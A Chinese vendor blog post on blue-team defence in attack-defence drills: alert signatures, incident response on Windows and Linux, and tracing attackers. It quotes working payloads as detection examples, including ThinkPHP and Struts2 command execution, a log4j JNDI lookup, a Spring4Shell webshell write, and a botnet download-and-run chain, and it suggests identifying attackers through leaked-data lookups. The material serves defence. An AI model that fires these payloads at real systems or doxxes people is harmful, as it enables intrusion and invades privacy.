云山雾隐 端隐SDP

企业博客

攻防对抗之蓝队那些事儿

接上篇《攻防对抗之红队那些事儿》内容,今天我们来聊聊蓝队作为防守方,在日常进行攻防演练或实战对抗时,都将有哪些常规操作。

流程及概念

蓝队,指攻防演练中的防守方。通常要求具备安全检查、整改、加固等基础能力,同时要对红队普遍攻击手段及新型攻击技术有一定的了解,在演练期间进行网络安全事件监测、预警、分析、验证、处置与溯源。

攻防演练前,蓝队通常会在日常安全运维工作的基础上,以实战思维进一步加强安全防护措施,包括对人员的安全意识培训、调整边界安全设备防护策略、隐藏管理端口/老旧系统、扩大威胁监控范围、完善监测与防护手段、建立应急响应、情报收集利用机制等,提升整体安全防护水平。

攻防演练中,蓝队多由目标系统运营单位、攻防专家、安全厂商、软件开发商、网络运维队伍、云服务提供商等多方组成,在演练时的角色分工大致如图:

特殊情况下,还会有其他组成人员,可视实际情况进行具体分配。

蓝队防守工作四步走:

常见攻击特征(安全设备告警)

以下仅举例小部分常见攻击中的关键字及特征,当发现不正常请求时还需另行判断,可将不正常的数据放到Google搜索查看相关资料。

1.SQL注入

从请求中寻找是否有数据库相关操作的关键字

判断关键字:' and && - + .0 .1 order by or xor 获取数据关键字: select.*from.* 文件读取:select.*load_file.* 文件写入:select.*into.*outfile 其他注入关键字:sleep() char limit updatexml() extractvalue copy

2.XSS

从请求中查看是否有相关html代码

3.任意文件读取

../../etc/passwd ..%2F..%2F..%2F..%2Fetc%2Fpasswd ..%252F..%252F..%252F..%252Fetc%2Fpasswd .+./.+./bin/redacted.dll .%00./file.php /etc/passwd%00.jpg ..%5c..%5c/windows/win.ini copy

4.SSRF

?url=dict://127.0.0.1:6379 ?url=file:///etc/passwd ?url=gopher://127.0.0.1:6379/... ../../../../../etc/passwd ?url=https://www.baidu.com copy

5.XXE

]> &xxe; ​ %remote;%int;%send; ]> ​ XML中引入了不安全的外部实体 copy

6.SSTI

{{2*2}}[[3*3]] {{3*3}} {{3*'3'}} <%= 3 * 3 %> ${6*6} ${{3*3}} @(6+5) #{3*3} copy

7.ThinkPHP

?s=index/think\request/input?data[]=phpinfo()&filter=assert ?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]= ?s=index/\think\Request/input&filter=system&data=whoami ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami copy

8.Struts 2

一般Java的Payload都会有一些关键字java.lang.Runtime、getRuntime().exec、module.classLoader、Ognl等;

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action ​ %{@java.lang.Runtime@getRuntime().exec("calc")} copy

9.log4j

${jndi:ldap://xxx.xxx.xxx.xxx/exp} ${ctx:loginId} ${map:type} ${filename} ${date:MM-dd-yyyy} ${docker:containerId} ${env:USER} ${event:Marker} ${mdc:UserId} ${java:runtime} copy

10.apache shiro

rememberme=后面一长串payload,如下: rememberme=LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 copy

11.spring

class.module.classLoader.URLs%5B0%5D=0 ​ /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= copy

12.僵尸网络

wget http[:]//167.99.39.134/.x/pty11 -O ar/run/pty11; chmod +x ar/run/pty11; chmod 700 ar/run/pty11; ar/run/pty11 & curl http[:]//167.99.39.134/.x/pty10 -o pty10 ; chmod +x pty10 ; chmod 700 pty10 ; ./pty10 一般为一长串系统命令组合,具有下载,赋权等命令 copy

13.挖矿

长期普遍向外或向内部主机发起请求,向外请求的目标可能是一个地址也可能是一个域名,向内部主要是横向扩散,端口扫描特征;

从告警中看请求包不正常的,如数据包含有一堆乱七八糟字符串、数据包中有敏感关键字、正常请求不符合等情况,那多半是有问题的;其次在安全监测时通常会有大量告警信息,我们不能只看高危,有次护网时发现某家神奇的WAF,whoami命令都执行成功了,返回root告警却是中危目录扫描。

如何判断攻击是否成功

1.根据响应状态码,重点关注2开头的,但不能作为唯一判断依据;

分类

分类描述

1

信息,服务器收到请求,需要请求者继续执行操作

2

成功,操作被成功接收并处理

3

重定向,需要进一步的操作以完成请求

4

客户端错误,请求包含语法错误或无法完成请求

5

服务器错误,服务器在处理请求的过程中发生了错误

2.根据返回内容进行判断,部分攻击会把结果进行输出打印,例如:

3.将攻击请求复制到本地,发送请求尝试、查看是否成功,再进行漏洞复现;

4.如果实在无法判断,可以把攻击特征拿到网上去搜一搜,看看是什么漏洞,如何利用再进行复现;

5.内网也差不多,不过很多局点内网本身就有很多告警,真真假假、假假真真,该上报就上报,刚到现场时需要先对已有告警进行分析,后续心里才有底,再根据服务器之间的异常访问进行分析。

应急响应

思路大致如下:

Windows应急响应

1.常用命令

2.系统信息收集、备份

服务器版本、补丁、日志、用户、承载应用、组件、dump内存等

3.文件排查

4.系统账户排查

a.比较直接的方法:

b.使用D盾等工具进行检测

5.进程、端口、服务排查

6.任务计划

a.存放任务计划的文件路径

b.cmd-ator 控制面板—管理工具—任务计划程序

7.开机启动项

a.注册表中开机启动的位置

b.msconfig 启动选项

c.开始-所有程序-启动

d.启动项枚举:wmic startup list full

e.wmic startup get command,caption #启动程序信息

8.注册表检查

一些重要且经常被利用的注册表:

注册表快速查找可以使用工具快速查找键值:Registry Finder 

9.性能监视器查看进程资源利用状态以及服务器状态

10.日志

系统日志:记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等,系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx copy

应用程序日志: 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,我们可以从程序事件日志中找到相应的记录,这将有助于我们解决问题。

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx copy

安全日志:记录系统的安全审计事件,包含各类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件等。安全日志也是调查取证中最常用到的日志,在默认设置下安全性日志是关闭的,管理员可使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx copy

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

登录类型

描述

说明

2

交互式登录(Interactive)

用户在本地进行登录

3

网络(Network)

最常见的情况就是连接到共享文件夹或共享打印机时

4

批处理(Batch)

通常表明某计划任务启动

5

服务(Service)

每种服务都被配置在某个特定的用户账号下运行

7

解锁(Unlock)

屏保解锁

8

网络明文(NetworkCleartext)

登录的密码在网络上是通过明文传输的,如FTP

9

新凭证(NewCredentials)

使用带/Netonly参数的RUNAS命令运行一个程序

10

远程交互,(RemoteInteractive)

通过终端服务、远程桌面或远程协助访问计算机

11

缓存交互(CachedInteractive)

以一个域用户登录而又没有域控制器可用

通常情况下,smb产生的日志类型为登录类型3,RDP登录日志为登录类型10,在部分暴力破解的工具下,RDP暴力破解可能在日志上会显示登录类型3且不记录源IP。

常见事件ID:

事件ID

说明

4723

尝试更改帐户的密码

4624

登录成功

4625

登录失败

4634

注销成功

4647

用户启动的注销

4672

使用超级用户(如管理员)进行登录

4720

创建用户

4732

已将成员添加到启用安全性的本地组

4698

创建计划任务

4825

用户被拒绝访问远程桌面

5156

平台已允许连接,本机访问了那些服务器的3389端口

域相关的事件ID:

事件ID

说明

4768

Kerberos预身份验证成功

4771

Kerberos预身份验证失败

4772

Kerberos身份验证票证请求失败

4773

Kerberos服务票证请求失败

4774

已映射帐户以进行登录

4776

域控制器尝试验证帐户的凭据

4777

域控制器无法验证帐户的凭据

4820

Kerberos授予票证(TGT)被拒绝,因为该设备不符合访问控制限制

4821

Kerberos服务票证被拒绝,用户/设备或两者都不符合访问控制限制

11.一些辅助工具

火绒剑 #系统监控、进程监控、启动项、钩子扫描、驱动查看

https://www.huorong.cn/ copy

SysinternalsSuite #包含一系列免费的系统分析工具

https://docs.microsoft.com/zh-cn/sysinternals/downloads/ copy

PCHunter #进程、线程、进程模块、进程窗口、进程内存信息查看,杀进程、杀线程、卸载模块等功能

http://www.xuetr.com/ copy

Process Hacker #可帮助您监视系统资源,调试软件和检测恶意软件。

https://processhacker.sourceforge.io/ copy

RegShot:注册表对比工具

https://sourceforge.net/projects/regshot/ copy

河马Webshell查杀:

https://www.shellpub.com/ copy

VundoFix:隐藏劫持系统文件dll专杀工具

Linux应急响应

建议上机排查用BusyBox工具包中的命令,然后对相关文件状态进行备份;

1.历史命令排查

2.账户信息排查

SSH授权密钥查看:/root/.ssh/authorized_key

除root外其他用户是否有sudo权限:cat /etc/sudoers | grep -v "#"

3.进程端口排查

4.任务计划

建议检查的时候使用vim打开具体的文件去看,cat,命令存在一些缺陷,可以被某些字符截断,造成的内容看不全;

crontab -l    #查看任务计划,有部分恶意代码需要crontab -e 编辑才能看到 cat/etc/anacrontab  #查看anacron异步定时任务 /var/log/cron      #查看任务计划日志 /etc/crontab /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ /var/spool/cron/ service cron status  #通过任务计划执行的服务 copy

5.系统进程资源使用状态

6.可疑文件、目录

/tmp,/var/tmp,/usr/tmp           #当tmp挂载为noexec时可用于本地提权 /dev,/dev/shm                    #这个目录是linux下一个利用内存虚拟出来的一个目录,这个目录中的文件都是保存在内存中,而不是磁盘上 /sbin,/bin,/usr/bin,/usr/sbin    #这些目录都是存放命令的 cat /etc/sudoers                 #sudo权限 ~/.ssh/authoruzed_keys           #ssh公钥存储文件 /root/.ssh/authorized_keys       #远程主机的key /root/.ssh/known_hosts           #记录远程连接过的机器信息 /etc/update-motd.d/              #ssh放置后门脚本 /etc/cron.d/                     #任务计划脚本 /etc/pam.d/sshd                  #软连接后门 /etc/hosts             #一些挖矿程序会更改hosts文件 /etc/resolv.conf                 #DNS配置 copy

cat /dev/null > scan.log;for tmp in `ls /bin /sbin /usr/bin  /usr/sbin`;do lsattr `which $tmp` |grep "\-i\-" >> scan.log;done     #查找所有具有i属性的文件 copy

7.自启动以及环境变量

相关文件、命令 /usr/lib/systemd/system /usr/lib/systemd/system/multi-user.target.wants /.bashrc /etc/inittab /etc/rc.local /etc/init.d chkconfig #查看开机启动项目 chkconfig --list | grep "3:on|5:on" /etc/init.d/rc.local /etc/profile /etc/rc1-6.d/ ldd ldd /usr/bin/ls; ldd /usr/sbin/ss           动态库查询 /etc/ld.so.preload              #该文件默认为空 ​ 环境变量 echo $LD_PRELOAD        动态链接库查看,存在后门的可能 env set export cat /proc/$PID/environ echo $PATH copy

8.日志排查

9.辅助工具

sudo apt-get install clamav    #安装 sudo freshclam           #更新病毒库 clamscan -r /            #扫描全盘,并显示文件名 copy

溯源

在我们溯源之前,需要确定攻击IP是否真的存在攻击行为,攻击成功与否,有些裁判,没有攻击成功的溯源不会给分;

溯源方式:

1.利用威胁情报平台,威胁情报平台有多个可以都查一查,每个平台的数据有差异,常用的有微步和奇安信威胁情报中心(https://x.threatbook.comhttps://ti.qianxin.com

如图:

通过域名解析获得域名:

资产绘测发现存在两个服务分别是:awvs和vmware,可以做为反制的突破口;

通过证书获取到使用者单位;

2.通过域名查询注册信息、whois信息、备案信息等获得邮箱、电话,再往下查询;

3.邮箱、电话通过社工库查询获取其他信息;

4.域名、IP、邮箱都可以通过搜索引擎进行查询是否有相关网页;

5.电话可以通过微信、支付宝查询获得姓名、社交ID等;

6.社交ID可以通过一些常用的软件、博客再进行搜索。

总结

实际在攻防演练中,使用到的技术和方法远远超过以上列举出来的这些;以上总结仅为较基础和简单的部分,方便大家了解。

另外在现场实际遇到的问题可能会从一开始就和预想的不一样,有时客户自己都不清楚有哪些资产更难往下一步走,只能尽量去了解现状、再挑选重点做调整,自己可以在外网搭建一个资产收集系统对互联网侧的资产进行探测。